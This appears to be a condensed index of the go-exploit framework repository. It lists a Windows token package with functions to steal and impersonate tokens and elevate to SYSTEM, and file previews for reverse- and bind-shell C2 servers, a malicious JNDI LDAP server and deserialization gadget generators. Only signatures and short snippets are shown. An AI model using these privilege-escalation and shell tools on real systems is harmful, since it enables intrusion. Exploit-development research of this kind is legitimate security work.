function TestOpenProcessTokenByPIDNonWindows (line 71) | func TestOpenProcessTokenByPIDNonWindows(t *testing.T) {
function TestDuplicateTokenNonWindows (line 80) | func TestDuplicateTokenNonWindows(t *testing.T) {
function TestImpersonateTokenNonWindows (line 89) | func TestImpersonateTokenNonWindows(t *testing.T) {
function TestRevertToSelfNonWindows (line 98) | func TestRevertToSelfNonWindows(t *testing.T) {
function TestCloseTokenNonWindows (line 107) | func TestCloseTokenNonWindows(t *testing.T) {
function TestGetTokenUserNonWindows (line 116) | func TestGetTokenUserNonWindows(t *testing.T) {
function TestGetTokenIntegrityNonWindows (line 125) | func TestGetTokenIntegrityNonWindows(t *testing.T) {
function TestStealTokenNonWindows (line 134) | func TestStealTokenNonWindows(t *testing.T) {
function TestStealAndImpersonateNonWindows (line 143) | func TestStealAndImpersonateNonWindows(t *testing.T) {
function TestFindSystemProcessNonWindows (line 152) | func TestFindSystemProcessNonWindows(t *testing.T) {
function TestElevateToSystemNonWindows (line 161) | func TestElevateToSystemNonWindows(t *testing.T) {
function TestEnablePrivilegeNonWindows (line 170) | func TestEnablePrivilegeNonWindows(t *testing.T) {
FILE: windows/token_windows.go
function OpenProcessToken (line 21) | func OpenProcessToken(processHandle Handle, desiredAccess uint32) (Token...
function OpenProcessTokenByPID (line 32) | func OpenProcessTokenByPID(pid uint32, desiredAccess uint32) (Token, boo...
function DuplicateToken (line 43) | func DuplicateToken(existingToken Token, impersonationLevel SecurityImpe...
function ImpersonateToken (line 63) | func ImpersonateToken(token Token) bool {
function RevertToSelf (line 74) | func RevertToSelf() bool {
function CloseToken (line 84) | func CloseToken(token Token) bool {
function GetTokenUser (line 94) | func GetTokenUser(token Token) (string, bool) {
function GetTokenIntegrity (line 115) | func GetTokenIntegrity(token Token) IntegrityLevel {
function StealToken (line 121) | func StealToken(targetPID uint32) (Token, bool) {
function StealAndImpersonate (line 146) | func StealAndImpersonate(targetPID uint32) bool {
function FindSystemProcess (line 176) | func FindSystemProcess() (uint32, bool) {
function ElevateToSystem (line 189) | func ElevateToSystem() bool {
function EnablePrivilege (line 206) | func EnablePrivilege(privilegeName string) bool {
constant SeDebugPrivilege (line 240) | SeDebugPrivilege = "SeDebugPrivilege"
constant SeImpersonatePrivilege (line 241) | SeImpersonatePrivilege = "SeImpersonatePrivilege"
constant SeAssignPrimaryTokenPrivilege (line 242) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege"
constant SeTcbPrivilege (line 243) | SeTcbPrivilege = "SeTcbPrivilege"
constant SeBackupPrivilege (line 244) | SeBackupPrivilege = "SeBackupPrivilege"
constant SeRestorePrivilege (line 245) | SeRestorePrivilege = "SeRestorePrivilege"
constant SeTakeOwnershipPrivilege (line 246) | SeTakeOwnershipPrivilege = "SeTakeOwnershipPrivilege"
constant SeLoadDriverPrivilege (line 247) | SeLoadDriverPrivilege = "SeLoadDriverPrivilege"
function QueryTokenInformation (line 251) | func QueryTokenInformation(token Token, infoClass uint32) ([]byte, bool) {
function GetTokenPrivileges (line 285) | func GetTokenPrivileges(token Token) ([]string, bool) {
function GetTokenInfo (line 338) | func GetTokenInfo(token Token) (*TokenInfo, bool) {
function IsTokenElevated (line 364) | func IsTokenElevated(token Token) bool {
function GetTokenSessionID (line 370) | func GetTokenSessionID(token Token) (uint32, bool) {
FILE: windows/windows.go
type IntegrityLevel (line 36) | type IntegrityLevel
method String (line 50) | func (il IntegrityLevel) String() string {
constant IntegrityUnknown (line 39) | IntegrityUnknown IntegrityLevel = iota
constant IntegrityUntrusted (line 40) | IntegrityUntrusted
constant IntegrityLow (line 41) | IntegrityLow
constant IntegrityMedium (line 42) | IntegrityMedium
constant IntegrityMediumPlus (line 43) | IntegrityMediumPlus
constant IntegrityHigh (line 44) | IntegrityHigh
constant IntegritySystem (line 45) | IntegritySystem
constant IntegrityProtected (line 46) | IntegrityProtected
type PlatformInfo (line 74) | type PlatformInfo struct
type Handle (line 97) | type Handle
type Token (line 100) | type Token
type TokenType (line 103) | type TokenType
constant TokenTypePrimary (line 106) | TokenTypePrimary TokenType = 1
constant TokenTypeImpersonation (line 107) | TokenTypeImpersonation TokenType = 2
type SecurityImpersonationLevel (line 111) | type SecurityImpersonationLevel
constant SecurityAnonymous (line 114) | SecurityAnonymous SecurityImpersonationLevel = 0
constant SecurityIdentification (line 115) | SecurityIdentification SecurityImpersonationLevel = 1
constant SecurityImpersonation (line 116) | SecurityImpersonation SecurityImpersonationLevel = 2
constant SecurityDelegation (line 117) | SecurityDelegation SecurityImpersonationLevel = 3
type ProcessInfo (line 121) | type ProcessInfo struct
type HandleInfo (line 133) | type HandleInfo struct
type ALPCSectionInfo (line 142) | type ALPCSectionInfo struct
type TokenInfo (line 151) | type TokenInfo struct
type ServiceInfo (line 166) | type ServiceInfo struct
constant ServiceStopped (line 180) | ServiceStopped = 0x00000001
constant ServiceStartPending (line 181) | ServiceStartPending = 0x00000002
constant ServiceStopPending (line 182) | ServiceStopPending = 0x00000003
constant ServiceRunning (line 183) | ServiceRunning = 0x00000004
constant ServiceContinuePending (line 184) | ServiceContinuePending = 0x00000005
constant ServicePausePending (line 185) | ServicePausePending = 0x00000006
constant ServicePaused (line 186) | ServicePaused = 0x00000007
type MemoryRegionInfo (line 190) | type MemoryRegionInfo struct
function IsWindows (line 201) | func IsWindows() bool {
constant InvalidHandleValue (line 209) | InvalidHandleValue = ^Handle(0)
constant ProcessTerminate (line 212) | ProcessTerminate = 0x0001
constant ProcessCreateThread (line 213) | ProcessCreateThread = 0x0002
constant ProcessSetSessionID (line 214) | ProcessSetSessionID = 0x0004
constant ProcessVMOperation (line 215) | ProcessVMOperation = 0x0008
constant ProcessVMRead (line 216) | ProcessVMRead = 0x0010
constant ProcessVMWrite (line 217) | ProcessVMWrite = 0x0020
constant ProcessDupHandle (line 218) | ProcessDupHandle = 0x0040
constant ProcessCreateProcess (line 219) | ProcessCreateProcess = 0x0080
constant ProcessSetQuota (line 220) | ProcessSetQuota = 0x0100
constant ProcessSetInformation (line 221) | ProcessSetInformation = 0x0200
constant ProcessQueryInformation (line 222) | ProcessQueryInformation = 0x0400
constant ProcessSuspendResume (line 223) | ProcessSuspendResume = 0x0800
constant ProcessQueryLimitedInformation (line 224) | ProcessQueryLimitedInformation = 0x1000
constant ProcessAllAccess (line 225) | ProcessAllAccess = 0x1FFFFF
constant TokenAssignPrimary (line 228) | TokenAssignPrimary = 0x0001
constant TokenDuplicate (line 229) | TokenDuplicate = 0x0002
constant TokenImpersonate (line 230) | TokenImpersonate = 0x0004
constant TokenQuery (line 231) | TokenQuery = 0x0008
constant TokenQuerySource (line 232) | TokenQuerySource = 0x0010
constant TokenAdjustPrivileges (line 233) | TokenAdjustPrivileges = 0x0020
constant TokenAdjustGroups (line 234) | TokenAdjustGroups = 0x0040
constant TokenAdjustDefault (line 235) | TokenAdjustDefault = 0x0080
constant TokenAdjustSessionID (line 236) | TokenAdjustSessionID = 0x0100
constant TokenAllAccess (line 237) | TokenAllAccess = 0xF01FF
constant StatusSuccess (line 240) | StatusSuccess = 0x00000000
constant StatusInfoLengthMismatch (line 241) | StatusInfoLengthMismatch = 0xC0000004
constant StatusAccessDenied (line 242) | StatusAccessDenied = 0xC0000022
constant StatusInvalidHandle (line 243) | StatusInvalidHandle = 0xC0000008
constant SystemHandleInformation (line 246) | SystemHandleInformation = 16
constant AlpcPortObjectType (line 249) | AlpcPortObjectType = 45
constant PageNoAccess (line 252) | PageNoAccess = 0x01
constant PageReadOnly (line 253) | PageReadOnly = 0x02
constant PageReadWrite (line 254) | PageReadWrite = 0x04
constant PageWriteCopy (line 255) | PageWriteCopy = 0x08
constant PageExecute (line 256) | PageExecute = 0x10
constant PageExecuteRead (line 257) | PageExecuteRead = 0x20
constant PageExecuteReadWrite (line 258) | PageExecuteReadWrite = 0x40
constant PageExecuteWriteCopy (line 259) | PageExecuteWriteCopy = 0x80
constant PageGuard (line 260) | PageGuard = 0x100
constant PageNoCache (line 261) | PageNoCache = 0x200
constant PageWriteCombine (line 262) | PageWriteCombine = 0x400
constant MemCommit (line 265) | MemCommit = 0x1000
constant MemReserve (line 266) | MemReserve = 0x2000
constant MemDecommit (line 267) | MemDecommit = 0x4000
constant MemRelease (line 268) | MemRelease = 0x8000
constant MemFree (line 269) | MemFree = 0x10000
constant MemPrivate (line 270) | MemPrivate = 0x20000
constant MemMapped (line 271) | MemMapped = 0x40000
constant MemReset (line 272) | MemReset = 0x80000
constant MemTopDown (line 273) | MemTopDown = 0x100000
constant MemLargePages (line 274) | MemLargePages = 0x20000000
constant ScManagerConnect (line 277) | ScManagerConnect = 0x0001
constant ScManagerCreateService (line 278) | ScManagerCreateService = 0x0002
constant ScManagerEnumerateService (line 279) | ScManagerEnumerateService = 0x0004
constant ScManagerLock (line 280) | ScManagerLock = 0x0008
constant ScManagerQueryLockStatus (line 281) | ScManagerQueryLockStatus = 0x0010
constant ScManagerModifyBootConfig (line 282) | ScManagerModifyBootConfig = 0x0020
constant ScManagerAllAccess (line 283) | ScManagerAllAccess = 0xF003F
constant ServiceQueryConfig (line 286) | ServiceQueryConfig = 0x0001
constant ServiceChangeConfig (line 287) | ServiceChangeConfig = 0x0002
constant ServiceQueryStatus (line 288) | ServiceQueryStatus = 0x0004
constant ServiceEnumerateDependents (line 289) | ServiceEnumerateDependents = 0x0008
constant ServiceStart (line 290) | ServiceStart = 0x0010
constant ServiceStop (line 291) | ServiceStop = 0x0020
constant ServicePauseContinue (line 292) | ServicePauseContinue = 0x0040
constant ServiceInterrogate (line 293) | ServiceInterrogate = 0x0080
constant ServiceUserDefinedControl (line 294) | ServiceUserDefinedControl = 0x0100
constant ServiceAllAccess (line 295) | ServiceAllAccess = 0xF01FF
constant ServiceKernelDriver (line 298) | ServiceKernelDriver = 0x00000001
constant ServiceFileSystemDriver (line 299) | ServiceFileSystemDriver = 0x00000002
constant ServiceWin32OwnProcess (line 300) | ServiceWin32OwnProcess = 0x00000010
constant ServiceWin32ShareProcess (line 301) | ServiceWin32ShareProcess = 0x00000020
constant ServiceInteractiveProcess (line 302) | ServiceInteractiveProcess = 0x00000100
constant ServiceBootStart (line 305) | ServiceBootStart = 0x00000000
constant ServiceSystemStart (line 306) | ServiceSystemStart = 0x00000001
constant ServiceAutoStart (line 307) | ServiceAutoStart = 0x00000002
constant ServiceDemandStart (line 308) | ServiceDemandStart = 0x00000003
constant ServiceDisabled (line 309) | ServiceDisabled = 0x00000004
constant GenericRead (line 312) | GenericRead = 0x80000000
constant GenericWrite (line 313) | GenericWrite = 0x40000000
constant GenericExecute (line 314) | GenericExecute = 0x20000000
constant GenericAll (line 315) | GenericAll = 0x10000000
constant FileShareRead (line 318) | FileShareRead = 0x00000001
constant FileShareWrite (line 319) | FileShareWrite = 0x00000002
constant FileShareDelete (line 320) | FileShareDelete = 0x00000004
constant CreateNew (line 323) | CreateNew = 1
constant CreateAlways (line 324) | CreateAlways = 2
constant OpenExisting (line 325) | OpenExisting = 3
constant OpenAlways (line 326) | OpenAlways = 4
constant TruncateExisting (line 327) | TruncateExisting = 5
constant TokenInfoUser (line 330) | TokenInfoUser = 1
constant TokenInfoGroups (line 331) | TokenInfoGroups = 2
constant TokenInfoPrivileges (line 332) | TokenInfoPrivileges = 3
constant TokenInfoOwner (line 333) | TokenInfoOwner = 4
constant TokenInfoPrimaryGroup (line 334) | TokenInfoPrimaryGroup = 5
constant TokenInfoDefaultDacl (line 335) | TokenInfoDefaultDacl = 6
constant TokenInfoSource (line 336) | TokenInfoSource = 7
constant TokenInfoType (line 337) | TokenInfoType = 8
constant TokenInfoImpersonationLevel (line 338) | TokenInfoImpersonationLevel = 9
constant TokenInfoStatistics (line 339) | TokenInfoStatistics = 10
constant TokenInfoRestrictedSids (line 340) | TokenInfoRestrictedSids = 11
constant TokenInfoSessionID (line 341) | TokenInfoSessionID = 12
constant TokenInfoGroupsAndPrivileges (line 342) | TokenInfoGroupsAndPrivileges = 13
constant TokenInfoSandBoxInert (line 343) | TokenInfoSandBoxInert = 15
constant TokenInfoOrigin (line 344) | TokenInfoOrigin = 17
constant TokenInfoElevationType (line 345) | TokenInfoElevationType = 18
constant TokenInfoLinkedToken (line 346) | TokenInfoLinkedToken = 19
constant TokenInfoElevation (line 347) | TokenInfoElevation = 20
constant TokenInfoIntegrityLevel (line 348) | TokenInfoIntegrityLevel = 25
constant TokenInfoUIAccess (line 349) | TokenInfoUIAccess = 26
constant TokenInfoMandatoryPolicy (line 350) | TokenInfoMandatoryPolicy = 27
constant TokenInfoIsAppContainer (line 351) | TokenInfoIsAppContainer = 29
constant SystemBigPoolInformation (line 354) | SystemBigPoolInformation = 66
constant NtFileSupersede (line 357) | NtFileSupersede = 0
constant NtFileOpen (line 358) | NtFileOpen = 1
constant NtFileCreate (line 359) | NtFileCreate = 2
constant NtFileOpenIf (line 360) | NtFileOpenIf = 3
constant NtFileOverwrite (line 361) | NtFileOverwrite = 4
constant FileDirectoryFile (line 364) | FileDirectoryFile = 0x00000001
constant FileSynchronousIONonAlert (line 365) | FileSynchronousIONonAlert = 0x00000020
constant FileNonDirectoryFile (line 366) | FileNonDirectoryFile = 0x00000040
constant FileOpenReparsePoint (line 367) | FileOpenReparsePoint = 0x00200000
constant ObjCaseInsensitive (line 370) | ObjCaseInsensitive = 0x00000040
constant IoReparseTagCloud (line 373) | IoReparseTagCloud = 0x9000001A
constant FsctlSetReparsePoint (line 376) | FsctlSetReparsePoint = 0x000900A4
constant FsctlPipeSetAttribute (line 379) | FsctlPipeSetAttribute = 0x11003C
constant FsctlPipeGetAttribute (line 380) | FsctlPipeGetAttribute = 0x110038
constant AlpcMsgflgNone (line 383) | AlpcMsgflgNone = 0x0
constant ReparseDataBufferHeaderSize (line 386) | ReparseDataBufferHeaderSize = 8
constant PortMessageSize (line 389) | PortMessageSize = 0x28
type IOStatusBlock (line 394) | type IOStatusBlock struct
type UnicodeString (line 401) | type UnicodeString struct
type ObjectAttributes (line 411) | type ObjectAttributes struct
type ALPCPortAttributes (line 424) | type ALPCPortAttributes struct
type ALPCMessageAttributes (line 438) | type ALPCMessageAttributes struct
type BigPoolEntry (line 445) | type BigPoolEntry struct
type BigPoolInformation (line 453) | type BigPoolInformation struct
FILE: windows/windows_test.go
constant windowsOS (line 10) | windowsOS = "windows"
function TestIntegrityLevelString (line 12) | func TestIntegrityLevelString(t *testing.T) {
function TestConstants (line 34) | func TestConstants(t *testing.T) {
function TestGetPlatformInfo (line 51) | func TestGetPlatformInfo(t *testing.T) {
function TestIsAdmin (line 76) | func TestIsAdmin(t *testing.T) {
function TestIsSystem (line 88) | func TestIsSystem(t *testing.T) {
function TestIsElevated (line 99) | func TestIsElevated(t *testing.T) {
function TestGetIntegrityLevel (line 110) | func TestGetIntegrityLevel(t *testing.T) {
function TestEnumProcesses (line 121) | func TestEnumProcesses(t *testing.T) {
function TestFindProcess (line 141) | func TestFindProcess(t *testing.T) {
function TestOpenProcessNonWindows (line 150) | func TestOpenProcessNonWindows(t *testing.T) {
function TestCloseHandleNonWindows (line 159) | func TestCloseHandleNonWindows(t *testing.T) {
function TestGetCurrentProcess (line 168) | func TestGetCurrentProcess(t *testing.T) {
Condensed preview — 198 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,264K chars).
[
{
"path": ".github/dependabot.yml",
"chars": 503,
"preview": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where "
},
{
"path": ".github/workflows/go.yml",
"chars": 784,
"preview": "# This workflow will build a golang project\n# For more information see: https://docs.github.com/en/actions/automating-bu"
},
{
"path": ".github/workflows/useragent-update.yml",
"chars": 1261,
"preview": "name: User-Agent Update\n\non:\n workflow_dispatch:\n schedule:\n - cron: '0 0 * * 0'\n\npermissions:\n contents: writ"
},
{
"path": ".gitignore",
"chars": 478,
"preview": "# If you prefer the allow list template instead of the deny list, see community template:\n# https://github.com/github/gi"
},
{
"path": ".golangci.yml",
"chars": 2298,
"preview": "version: \"2\"\nlinters:\n enable:\n - asasalint\n - asciicheck\n - bidichk\n - canonicalheader\n - containedctx\n"
},
{
"path": "CONTRIBUTING.md",
"chars": 583,
"preview": "# How to contribute to go-exploit\n\nThank you for your interest in contributing to go-exploit!\n\n## General Guidance\n\nWhen"
},
{
"path": "LICENSE",
"chars": 11343,
"preview": " Apache License\n Version 2.0, January 2004\n "
},
{
"path": "README.md",
"chars": 5198,
"preview": "# go-exploit: Go Exploit Framework\n\n[]("
},
{
"path": "_uaupdate/README.md",
"chars": 674,
"preview": "# Updating the go-exploit HTTP User Agent\n\nThis main.go fetches user agents from the Project Discovery [useragent](https"
},
{
"path": "_uaupdate/main.go",
"chars": 739,
"preview": "package main\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-expl"
},
{
"path": "aspnet/aspnet.go",
"chars": 5733,
"preview": "// Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving h"
},
{
"path": "aspnet/aspnet_test.go",
"chars": 8740,
"preview": "package aspnet_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/aspnet\"\n)\n\nvar pageState1 = `<!DOCTYPE h"
},
{
"path": "c2/channel/channel.go",
"chars": 4525,
"preview": "// The channel package is the container for first-party framework C2 structures and variables, it\n// holds the internal "
},
{
"path": "c2/cli/basic.go",
"chars": 3589,
"preview": "// Command-line helpers for C2s\npackage cli\n\nimport (\n\t\"bufio\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/vul"
},
{
"path": "c2/external/external.go",
"chars": 9674,
"preview": "// The external C2 module extends the C2 functionality and exposes an interface to allow for an\n// exploit to utilize a "
},
{
"path": "c2/factory.go",
"chars": 8091,
"preview": "// Command and Control (C2)\npackage c2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulnchec"
},
{
"path": "c2/factory_test.go",
"chars": 2497,
"preview": "package c2\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit"
},
{
"path": "c2/httpservefile/httpservefile.go",
"chars": 10614,
"preview": "// httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case\n// is fo"
},
{
"path": "c2/httpserveshell/httpserveshell.go",
"chars": 9550,
"preview": "// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).\n// The use case is"
},
{
"path": "c2/httpshellserver/httpshellserver.go",
"chars": 8873,
"preview": "// A C2 server that handles shell interaction over HTTP.\npackage httpshellserver\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"flag"
},
{
"path": "c2/shelltunnel/shelltunnel.go",
"chars": 11019,
"preview": "// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and\n// a connectback server. It e"
},
{
"path": "c2/simpleshell/simpleshellclient.go",
"chars": 2848,
"preview": "package simpleshell\n\nimport (\n\t\"net\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github."
},
{
"path": "c2/simpleshell/simpleshellserver.go",
"chars": 4519,
"preview": "// A simple unencrypted reverse shell C2.\npackage simpleshell\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atom"
},
{
"path": "c2/sslshell/sslshellserver.go",
"chars": 6725,
"preview": "// sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell.\n//\n// Th"
},
{
"path": "cli/commandline.go",
"chars": 28275,
"preview": "// Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit.\n//\n// Generally"
},
{
"path": "cli/commandline_test.go",
"chars": 9409,
"preview": "package cli\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exp"
},
{
"path": "config/config.go",
"chars": 17800,
"preview": "// Exploit and framework configuration.\npackage config\n\nimport (\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\""
},
{
"path": "config/config_test.go",
"chars": 4371,
"preview": "package config_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-os"
},
{
"path": "db/create.go",
"chars": 4340,
"preview": "// SQLite Caching and Cross-Exploit Database\n//\n// The db package contains the logic to handle a user provided SQLite DB"
},
{
"path": "db/get.go",
"chars": 948,
"preview": "package db\n\nconst (\n\tgetCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?`\n\tgetInstalle"
},
{
"path": "db/update.go",
"chars": 1790,
"preview": "package db\n\nimport (\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t// pure go sqlite3 driver.\n\t_ \"modernc.org/"
},
{
"path": "docs/c2.md",
"chars": 9688,
"preview": "# Command & Control\n\n## Supported C2\n\nIn `go-exploit`, the command and control (C2) provides very basic second stage and"
},
{
"path": "docs/custom-payloads.md",
"chars": 5508,
"preview": "# Custom Payloads in go-exploit\n\nCustom payloads (or Bring-Your-Own-Payload (BYOP)) are supported from the go-exploit co"
},
{
"path": "docs/db.md",
"chars": 3997,
"preview": "# Database Usage\n\ngo-exploit supports the use of an SQLite3 database in order to facilite cross-exploit communication an"
},
{
"path": "docs/development.md",
"chars": 1778,
"preview": "# Developing `go-exploit`\n\nThe goal of `go-exploit` is to facilitate faster, more portable, and feature-rich exploit dev"
},
{
"path": "docs/exploit-types.md",
"chars": 2444,
"preview": "# `go-exploit` Exploit Types\n\nThe `go-exploit` framework currently supports five exploit types. These types determine ho"
},
{
"path": "docs/getting-started.md",
"chars": 2736,
"preview": "# Getting Started with go-exploit\n\nThis guide will help you get started with `go-exploit`, a Go package that assists dev"
},
{
"path": "docs/output.md",
"chars": 6962,
"preview": "# Output\n\n`go-exploit` supports somewhat unusual output for an exploit framework. However, our belief is that `go-exploi"
},
{
"path": "docs/scanning.md",
"chars": 4805,
"preview": "# Scanning\n\n`go-exploit` is designed to scan many hosts at once, and there are a number of features that support that de"
},
{
"path": "docs/usage-example.md",
"chars": 4383,
"preview": "# Example Usage\n\n## Target Validation\n\nValidate the remote target is target using the `-v` command line option with `-rh"
},
{
"path": "docs/version-checking.md",
"chars": 2077,
"preview": "# Version Checking\n\nVersion checking is a crucial step in the exploit process to ensure that the target is vulnerable an"
},
{
"path": "docs/windows-lpe.md",
"chars": 15251,
"preview": "# Windows Local Privilege Escalation\n\nThe `windows` package provides primitives for developing Windows LPE exploits. It "
},
{
"path": "dotnet/data/ReturnMessage.xml",
"chars": 1709,
"preview": "<SOAP-ENV:Fault id=\"xref-1\">\n <faultcode id=\"xref-2\">SOAP-ENV:Server</faultcode>\n <faultstring id=\"xref-3\"> **** "
},
{
"path": "dotnet/dotnetgadget.go",
"chars": 80552,
"preview": "/*\nPackage dotnet contains all of the gadget creation functions for use in exploits. Calling a gadget can be as simple a"
},
{
"path": "dotnet/dotnetgadget_test.go",
"chars": 68723,
"preview": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestTextFormattingRunPropertiesBinaryFormatter(t *tes"
},
{
"path": "dotnet/formatters.go",
"chars": 7182,
"preview": "//nolint:musttag\npackage dotnet\n\nimport (\n\t_ \"embed\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulnchec"
},
{
"path": "dotnet/general_types.go",
"chars": 9865,
"preview": "package dotnet\n\nimport (\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit"
},
{
"path": "dotnet/records.go",
"chars": 19955,
"preview": "package dotnet\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.co"
},
{
"path": "dotnet/viewstate.go",
"chars": 7248,
"preview": "//nolint:makezero\npackage dotnet\n\n// Dotnet Serialization functions related to viewstate\n\nimport (\n\t\"crypto/aes\"\n\t\"crypt"
},
{
"path": "dotnet/viewstate_test.go",
"chars": 11917,
"preview": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"gi"
},
{
"path": "encryption/aes.go",
"chars": 1814,
"preview": "// Package encryption provides functions for dealing with cryptography and cryptographic padding.\npackage encryption\n\nim"
},
{
"path": "encryption/aes_crypto.go",
"chars": 4451,
"preview": "package encryption\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"io\"\n\n\t\"github.com/vulncheck-oss/go-exploit/"
},
{
"path": "encryption/aes_crypto_test.go",
"chars": 5723,
"preview": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploi"
},
{
"path": "encryption/certificate.go",
"chars": 1336,
"preview": "package encryption\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"math/big\"\n\t"
},
{
"path": "encryption/des.go",
"chars": 917,
"preview": "package encryption\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n/"
},
{
"path": "encryption/kdf.go",
"chars": 728,
"preview": "package encryption\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha512\"\n\t\"encoding/binary\"\n)\n\n// SP800-108 HMAC512 Key Derivation F"
},
{
"path": "encryption/xor.go",
"chars": 432,
"preview": "package encryption\n\n// XOR encodes data with a repeating key.\nfunc XOR(data, key []byte) []byte {\n\tif len(key) == 0 {\n\t\t"
},
{
"path": "encryption/xor_test.go",
"chars": 1294,
"preview": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n)\n\nfunc TestXOR"
},
{
"path": "framework.go",
"chars": 19237,
"preview": "// Package exploit is the entrypoint for exploits developed with the go-exploit framework.\n//\n// The exploit package inv"
},
{
"path": "framework_test.go",
"chars": 852,
"preview": "package exploit_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit\"\n)\n\nfunc TestCheckSemVer_Full(t *testin"
},
{
"path": "go.mod",
"chars": 1158,
"preview": "module github.com/vulncheck-oss/go-exploit\n\ngo 1.26.1\n\nrequire (\n\tgithub.com/Masterminds/semver v1.5.0\n\tgithub.com/antch"
},
{
"path": "go.sum",
"chars": 13546,
"preview": "github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww=\ngithub.com/Masterminds/semver v1.5."
},
{
"path": "java/constants.go",
"chars": 2215,
"preview": "package java\n\n// Constants required for the Java serialization protocol, as defined here: https://docs.oracle.com/javase"
},
{
"path": "java/gadget_test.go",
"chars": 18454,
"preview": "// Tests for the Java gadgets, ALL GADGETS MUST HAVE A TEST\npackage java\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com"
},
{
"path": "java/gadgets.go",
"chars": 50674,
"preview": "/*\nThe Java analog to the dotnet deserialization generation package.\n\nThis allows for the creation of java deserializati"
},
{
"path": "java/javaclass.go",
"chars": 28938,
"preview": "package java\n\nimport (\n\t\"encoding/binary\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n\t\"github."
},
{
"path": "java/javagadget.go",
"chars": 61294,
"preview": "package java\n\nimport (\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-e"
},
{
"path": "java/ldapjndi/ldapjndi.go",
"chars": 41912,
"preview": "// This is an implementation of an evil JNDI LDAP server. The server accepts\n// connections and returned a malicious ser"
},
{
"path": "java/objects.go",
"chars": 8141,
"preview": "/*\nThis is where the logic is defined to construct sound \"records\" for the Java serialization protocol as defined here: "
},
{
"path": "output/commonlog.go",
"chars": 3771,
"preview": "// Package output handles structured logging for the framework and exploits.\n//\n// Our goals for logging in go-exploit w"
},
{
"path": "output/exploitlog.go",
"chars": 3746,
"preview": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// the log level for exploits.\nvar exploitLevel = LevelS"
},
{
"path": "output/frameworklog.go",
"chars": 3740,
"preview": "package output\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n)\n\n// The log level for the framework.\nvar frameworkLevel ="
},
{
"path": "payload/bindshell/bindshell.go",
"chars": 735,
"preview": "// Bind shell payloads & listeners.\n//\n// The bindshell package contains all the code for generating bind shells that li"
},
{
"path": "payload/bindshell/bindshell_test.go",
"chars": 844,
"preview": "package bindshell_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/bindshell\"\n)\n\nfunc"
},
{
"path": "payload/bindshell/netcat.go",
"chars": 784,
